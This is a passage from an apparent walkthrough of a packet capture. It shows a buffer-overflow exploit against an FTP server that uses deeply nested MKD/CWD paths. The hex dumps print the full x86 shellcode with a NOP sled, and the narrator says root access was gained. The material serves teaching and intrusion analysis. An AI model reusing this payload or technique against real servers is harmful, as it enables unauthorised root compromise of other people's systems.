5858 5858 5858 5858 5858 5858 5858 0a--  |  X X X X X X X X X X X X X X \n.

14:47:22.618551 linux.herschel.ftp > linux.herschel.2699: P 1783:1812(29) ack 1237 win 32736 (DF) [tos 0x10]
4510 0045 3a63 4000 4006 d764 0a0a 0a64  |  E . . E : c @ . @ . . d \n\n\nd
0a0a 0a64 0015 0a8b b681 7819 b304 45c3  |  \n\n\nd . . \n. . . x . . . E .
5018 7fe0 f78b 0000 3235 3020 4357 4420  |  P . . . . . . . 2 5 0   C W D
636f 6d6d 616e 6420 7375 6363 6573 7366  |  c o m m a n d   s u c c e s s f
756c 2e0d 0a-- ---- ---- ---- ---- ----  |  u l . \r\n. . . . . . . . . . .
```

We create the fourth long directory. We're almost done...

```
14:47:22.618551 linux.herschel.2699 > linux.herschel.ftp: P 1237:1436(199) ack 1812 win 31896 (DF)
4500 00ef 3a64 4000 4006 d6c9 0a0a 0a64  |  E . . . : d @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 45c3 b681 7836  |  \n\n\nd \n. . . . . E . . . x 6
5018 7c98 612b 0000 4d4b 4420 5959 5959  |  P . . . a + . . M K D   Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
```

```
5959 5959 5959 5959 5959 5959 5959 0a--  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y \n.

14:47:22.618551 linux.herschel.ftp > linux.herschel.2699: P 1812:2632(820) ack 1436 win 32736 (DF) [tos 0x10]
4510 035c 3a65 4000 4006 d44b 0a0a 0a64  |  E . . \ : e @ . @ . . K \n\n\nd
0a0a 0a64 0015 0a8b b681 7836 b304 468a  |  \n\n\nd . . \n. . . x 6 . . F .
5018 7fe0 2637 0000 3235 3720 222f 696e  |  P . . . & 7 . . 2 5 7   " / i n
636f 6d69 6e67 2f47 4747 4747 4747 4747  |  c o m i n g / G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 472f 4c4c 4c4c 4c4c  |  G G G G G G G G G / L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 2f58 5858  |  L L L L L L L L L L L L / X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 582f  |  X X X X X X X X X X X X X X X /
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 2220 6e65 7720 6469 7265 6374 6f72  |  Y Y "   n e w   d i r e c t o r
7920 6372 6561 7465 642e 0d0a ---- ----  |  y   c r e a t e d . \r\n. . . .

14:47:22.628551 linux.herschel.2699 > linux.herschel.ftp: P 1436:1635(199) ack 2632 win 31896 (DF)
4500 00ef 3a66 4000 4006 d6c7 0a0a 0a64  |  E . . . : f @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 468a b681 7b6a  |  \n\n\nd \n. . . . . F . . . . j
5018 7c98 6724 0000 4357 4420 5959 5959  |  P . . . g $ . . C W D   Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 0a--  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y \n.

14:47:22.628551 linux.herschel.ftp > linux.herschel.2699: P 2632:2661(29) ack 1635 win 32736 (DF) [tos 0x10]
4510 0045 3a67 4000 4006 d760 0a0a 0a64  |  E . . E : g @ . @ . . ` \n\n\nd
0a0a 0a64 0015 0a8b b681 7b6a b304 4751  |  \n\n\nd . . \n. . . . j . . G Q
5018 7fe0 f2ac 0000 3235 3020 4357 4420  |  P . . . . . . . 2 5 0   C W D
636f 6d6d 616e 6420 7375 6363 6573 7366  |  c o m m a n d   s u c c e s s f
756c 2e0d 0a-- ---- ---- ---- ---- ----  |  u l . \r\n. . . . . . . . . . .
```

We make a fifth directory. This one has a shorter name than the last four; the exploit has performed some calculations to determine how long this one should be, based on how long the initial path was ("/incoming"), and based on the offset option passed to it (in our case, the offset was zero):

```
14:47:22.638551 linux.herschel.2699 > linux.herschel.ftp: P 1635:1698(63) ack 2661 win 31896 (DF)
4500 0067 3a68 4000 4006 d74d 0a0a 0a64  |  E . . g : h @ . @ . . M \n\n\nd
0a0a 0a64 0a8b 0015 b304 4751 b681 7b87  |  \n\n\nd \n. . . . . G Q . . . .
5018 7c98 d34a 0000 4d4b 4420 4141 4141  |  P . . . . J . . M K D   A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 0a-- ---- ---- ---- ----  |  A A A A A A \n. . . . . . . . .

14:47:22.638551 linux.herschel.ftp > linux.herschel.2699: P 2661:3540(879) ack 1698 win 32736 (DF) [tos 0x10]
4510 0397 3a69 4000 4006 d40c 0a0a 0a64  |  E . . . : i @ . @ . . . \n\n\nd
0a0a 0a64 0015 0a8b b681 7b87 b304 4790  |  \n\n\nd . . \n. . . . . . . G .
```

```
5018 7fe0 7955 0000 3235 3720 222f 696e  |  P . . . y U . . 2 5 7   " / i n
636f 6d69 6e67 2f47 4747 4747 4747 4747  |  c o m i n g / G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 472f 4c4c 4c4c 4c4c  |  G G G G G G G G G / L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 2f58 5858  |  L L L L L L L L L L L L / X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 582f  |  X X X X X X X X X X X X X X X /
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 2f41 4141 4141 4141 4141 4141 4141  |  Y Y / A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4122 206e  |  A A A A A A A A A A A A A "   n
6577 2064 6972 6563 746f 7279 2063 7265  |  e w   d i r e c t o r y   c r e
6174 6564 2e0d 0a-- ---- ---- ---- ----  |  a t e d . \r\n. . . . . . . . .
```

We move into the most recently-created directory. Our current working directory path is now extremely long:

```
14:47:22.638551 linux.herschel.2699 > linux.herschel.ftp: P 1698:1761(63) ack 3540 win 31896 (DF)
4500 0067 3a6a 4000 4006 d74b 0a0a 0a64  |  E . . g : j @ . @ . . K \n\n\nd
0a0a 0a64 0a8b 0015 b304 4790 b681 7ef6  |  \n\n\nd \n. . . . . G . . . . .
5018 7c98 d990 0000 4357 4420 4141 4141  |  P . . . . . . . C W D   A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 0a-- ---- ---- ---- ----  |  A A A A A A \n. . . . . . . . .

14:47:22.648551 linux.herschel.ftp > linux.herschel.2699: P 3540:3569(29) ack 1761 win 32736 (DF) [tos 0x10]
4510 0045 3a6b 4000 4006 d75c 0a0a 0a64  |  E . . E : k @ . @ . . \ \n\n\nd
0a0a 0a64 0015 0a8b b681 7ef6 b304 47cf  |  \n\n\nd . . \n. . . . . . . G .
5018 7fe0 eea2 0000 3235 3020 4357 4420  |  P . . . . . . . 2 5 0   C W D
636f 6d6d 616e 6420 7375 6363 6573 7366  |  c o m m a n d   s u c c e s s f
756c 2e0d 0a-- ---- ---- ---- ---- ----  |  u l . \r\n. . . . . . . . . . .

14:47:22.668551 linux.herschel.2699 > linux.herschel.ftp: . ack 3569 win 31896 (DF)
```

At this point, the exploit pauses, and asks the user to press a key to send the exploit code. Once a key is pressed, it sends a final MKD command with the actual code in it. Note the sequence of "90" bytes at the beginning of the exploit code; those are 80x86 NOOP instructions, so that even if the given offset is not completely correct, the processor has a good chance that it will start executing code somewhere in that group of NOOPs. Since the NOOP is, by definition, NO OPeration, it will act as if we had jumped to the first instruction that actually does something.

```
14:47:26.018551 linux.herschel.2699 > linux.herschel.ftp: P 1761:1966(205) ack 3569 win 31896 (DF)
4500 00f5 3a6f 4000 4006 d6b8 0a0a 0a64  |  E . . . : o @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 47cf b681 7f13  |  \n\n\nd \n. . . . . G . . . . .
5018 7c98 6508 0000 4d4b 4420 9090 9090  |  P . . . e . . . M K D   . . . .
9090 9090 9090 9090 9090 9090 9090 9090  |  . . . . . . . . . . . . . . . .
9090 9090 9090 9090 9090 9090 9090 9090  |  . . . . . . . . . . . . . . . .
9090 9090 9090 9090 9090 9090 9090 9090  |  . . . . . . . . . . . . . . . .
9090 31db 89d8 b017 cd80 eb66 5e89 f380  |  . . 1 . . . . . . . . f ^ . . .
c30f 39f3 7c07 802b 02fe cbeb f531 c088  |  . . 9 . . . . + . . . . . 1 . .
4601 8846 0888 4610 8d5e 07b0 0ccd 808d  |  F . . F . . F . . ^ . . . . . .
1e31 c9b0 27cd 8031 c0b0 3dcd 8031 c08d  |  . 1 . . ' . . 1 . . = . . 1 . .
5e02 b00c cd80 31c0 8846 038d 5e02 b03d  |  ^ . . . . . 1 . . F . . ^ . . =
cd80 89f3 80c3 0989 5b08 31c0 8843 0789  |  . . . . . . \t. [ . 1 . . C . .
430c b00b 8d4b 088d 530c cd80 31c0 fec0  |  C . . . . K . . S . . . 1 . . .
cd80 e895 ffff ffff ffff 4343 3030 3130  |  . . . . . . . . . . C C 0 0 1 0
```

```
3031 4331 646b 7031 756a 40f3 ffff bf40  |  0 1 C 1 d k p 1 u j @ . . . . . @
f3ff ffbf 0a-- ---- ---- ---- ---- ----  |  . . . . \n. . . . . . . . . . .
```

The server reports that the directory was successfully created. Because of the long name, this message was split over 2 packets:

```
14:47:26.028551 linux.herschel.ftp > linux.herschel.2699: P 3569:4593(1024) ack 1966 win 32736 (DF) [tos 0x10]
4510 0428 3a70 4000 4006 d374 0a0a 0a64  |  E . . ( : p @ . @ . . t \n\n\nd
0a0a 0a64 0015 0a8b b681 7f13 b304 489c  |  \n\n\nd . . \n. . . . . . . H .
5018 7fe0 e9c8 0000 3235 3720 222f 696e  |  P . . . . . . . 2 5 7   " / i n
636f 6d69 6e67 2f47 4747 4747 4747 4747  |  c o m i n g / G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 472f 4c4c 4c4c 4c4c  |  G G G G G G G G G / L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 2f58 5858  |  L L L L L L L L L L L L / X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 582f  |  X X X X X X X X X X X X X X X /
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 5959 5959 5959 5959 5959 5959 5959  |  Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
5959 2f41 4141 4141 4141 4141 4141 4141  |  Y Y / A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 4141 4141  |  A A A A A A A A A A A A A A A A
4141 4141 4141 4141 4141 4141 412f 9090  |  A A A A A A A A A A A A A / . .
9090 9090 9090 9090 9090 9090 9090 9090  |  . . . . . . . . . . . . . . . .
9090 9090 9090 9090 9090 9090 9090 9090  |  . . . . . . . . . . . . . . . .
9090 9090 9090 9090 9090 9090 9090 9090  |  . . . . . . . . . . . . . . . .
9090 9090 31db 89d8 b017 cd80 eb66 5e89  |  . . . . 1 . . . . . . . . f ^ .
f380 c30f 39f3 7c07 802b 02fe cbeb f531  |  . . . . 9 . . . . + . . . . . 1
c088 4601 8846 0888 4610 8d5e 07b0 0ccd  |  . . F . . F . . F . . ^ . . . .
808d 1e31 c9b0 27cd 8031 c0b0 3dcd 8031  |  . . . 1 . . ' . . 1 . . = . . 1
c08d 5e02 b00c cd80 31c0 8846 038d 5e02  |  . . ^ . . . . . 1 . . F . . ^ .
b03d cd80 89f3 80c3 0989 5b08 31c0 8843  |  . = . . . . . . \t. [ . 1 . . C
0789 430c b00b 8d4b 088d 530c cd80 31c0  |  . . C . . . . K . . S . . . 1 .
fec0 cd80 e895 ffff ---- ---- ---- ----  |  . . . . . . . . . . . . . . . .

14:47:26.048551 linux.herschel.2699 > linux.herschel.ftp: . ack 4593 win 31896 (DF)

14:47:26.048551 linux.herschel.ftp > linux.herschel.2699: P 4593:4644(51) ack 1966 win 32736 (DF) [tos 0x10]
4510 005b 3a72 4000 4006 d73f 0a0a 0a64  |  E . . [ : r @ . @ . . ? \n\n\nd
0a0a 0a64 0015 0a8b b681 8313 b304 489c  |  \n\n\nd . . \n. . . . . . . H .
5018 7fe0 664a 0000 ff43 4330 3031 3030  |  P . . . f J . . . C C 0 0 1 0 0
3143 3164 6b70 3175 6a40 f3ff bf40 f3ff  |  1 C 1 d k p 1 u j @ . . . @ . .
bf22 206e 6577 2064 6972 6563 746f 7279  |  . "   n e w   d i r e c t o r y
2063 7265 6174 6564 2e0d 0a-- ---- ----  |    c r e a t e d . \r\n. . . . .

14:47:26.068551 linux.herschel.2699 > linux.herschel.ftp: . ack 4644 win 31896 (DF)
```

The exploit has succeeded at this point; we now have root access on the FTP server. First I sent an ls command to list the directory we were in:

```
14:47:31.888551 linux.herschel.2699 > linux.herschel.ftp: P 1966:1969(3) ack 4644 win 31896 (DF)
4500 002b 3a77 4000 4006 d77a 0a0a 0a64  |  E . . + : w @ . @ . . z \n\n\nd
0a0a 0a64 0a8b 0015 b304 489c b681 8346  |  \n\n\nd \n. . . . . H . . . . F
5018 7c98 53d9 0000 6c73 0a-- ---- ----  |  P . . . S . . . l s \n. . . . .
```

The server responds with the contents of the / directory:

```
14:47:31.898551 linux.herschel.ftp > linux.herschel.2699: P 4644:4721(77) ack 1969 win 32736 (DF) [tos 0x10]
4510 0075 3a78 4000 4006 d71f 0a0a 0a64  |  E . . u : x @ . @ . . . \n\n\nd
0a0a 0a64 0015 0a8b b681 8346 b304 489f  |  \n\n\nd . . \n. . . F . . H .
